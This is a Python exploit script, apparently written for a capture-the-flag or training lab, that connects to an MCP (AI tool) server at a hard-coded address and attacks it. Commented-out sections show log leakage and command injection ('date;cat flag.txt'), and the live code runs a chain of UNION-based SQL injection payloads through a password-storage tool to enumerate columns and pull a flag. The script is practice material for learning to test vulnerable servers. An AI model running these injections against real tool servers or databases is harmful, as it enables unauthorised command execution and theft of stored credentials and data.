Jeremy Janella
103 lines
3.5 KiB
Python
103 lines
3.5 KiB
Python
import asyncio
|
|
from fastmcp import Client, FastMCP
|
|
|
|
client = Client("http://154.57.164.78:30484/mcp/")
|
|
|
|
async def main():
|
|
async with client:
|
|
resources = await client.list_resources()
|
|
resource_templates = await client.list_resource_templates()
|
|
tools = await client.list_tools()
|
|
|
|
print("Resources:")
|
|
for resource in resources:
|
|
print('***')
|
|
print(resource.name)
|
|
print(resource.description.strip())
|
|
|
|
|
|
print("-"*50)
|
|
print("Resource Templates:")
|
|
for resource_template in resource_templates:
|
|
print('***')
|
|
print(resource_template.uriTemplate)
|
|
print(resource_template.description.strip())
|
|
|
|
|
|
print("-"*50)
|
|
print("Tools:")
|
|
for tool in tools:
|
|
print('***')
|
|
params = list(tool.inputSchema.get('properties').keys())
|
|
print(f"{tool.name}({','.join(params)})")
|
|
print(tool.description.strip())
|
|
|
|
# VULNERABLE MCP SERVER
|
|
|
|
# Information Leakage (other requests first to populate)
|
|
# try:
|
|
# result_object = await client.read_resource("resource://logs")
|
|
# print(result_object[0].text)
|
|
# except Exception as e:
|
|
# print(f"[-] {e}")
|
|
|
|
|
|
# RCE
|
|
# try:
|
|
# result_object = await client.call_tool("execute_server_command", {"command": "date;cat flag.txt"})
|
|
# print(result_object)
|
|
# except Exception as e:
|
|
# print(f"[-] {e}")
|
|
|
|
|
|
# SQLi
|
|
## UNION SELECT group_concat(name || ':' || type) FROM pragma_table_info('flag'), url encoded
|
|
# try:
|
|
# ## UNION SELECT flag FROM flag
|
|
# result_object = await client.read_resource("price://x'%20UNION%20SELECT%20flag%20FROM%20flag--")
|
|
# print(result_object[0].text)
|
|
# except Exception as e:
|
|
# print(f"[-] {e}")
|
|
|
|
# SKILLS ASSESSMENT
|
|
try:
|
|
result_object = await client.read_resource("resource://platforms")
|
|
print(result_object[0].text)
|
|
except Exception as e:
|
|
print(f"[-] {e}")
|
|
try:
|
|
result_object = await client.read_resource("password://rootlocker.htb")
|
|
print(result_object[0].text)
|
|
except Exception as e:
|
|
print(f"[-] {e}")
|
|
|
|
try:
|
|
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "rootlocker.htb'"})
|
|
print(result_object.content[0].text)
|
|
except Exception as e:
|
|
print(f"[-] {e}")
|
|
|
|
try:
|
|
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT @@version-- -"})
|
|
print(result_object.content[0].text)
|
|
except Exception as e:
|
|
print(f"[-] {e}")
|
|
|
|
try:
|
|
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name = \"flag\"-- -"})
|
|
print(result_object.content[0].text)
|
|
except Exception as e:
|
|
print(f"[-] {e}")
|
|
|
|
try:
|
|
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT flag FROM flag-- -"})
|
|
print(result_object.content[0].text)
|
|
except Exception as e:
|
|
print(f"[-] {e}")
|
|
|
|
|
|
|
|
|
|
asyncio.run(main())
|
|
|